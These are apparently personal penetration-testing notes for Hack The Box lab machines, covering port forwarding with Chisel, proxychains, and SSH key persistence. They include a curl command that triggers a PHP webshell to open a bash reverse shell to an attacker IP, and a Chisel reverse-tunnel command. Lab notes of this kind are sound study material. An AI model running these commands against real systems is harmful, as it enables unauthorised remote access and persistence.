Ref [[HTB - SolarLab]]
Pivoting without SSH with Chisel
https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html
FORWARDING A PORT WITH CHISEL  above on attacker box obviously
/chisel.exe client 10.10.14.4:8001 R:9090:127.0.0.1:9090
WHERE 9090 is the port you want to forward from the box
 
Now go to localhost:forwarded-port on your kali machine. congratulations idiot
[[HTB - Pandora#PORT FORWARDING]] ssh port forward
PROXYCHAINS

vim /etc/proxychains.conf


running a poc:

rats!
(pre-pend proxychains4 to the same command):

From php webshell curl to send bash session back to yourself
curl 'http://localhost:80/pandora_console/images/0xdf.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.11/443+0>%261"'
Dropping your SSH public key into authorized_keys
run ssh-keygen if you don't already have a public key pair
  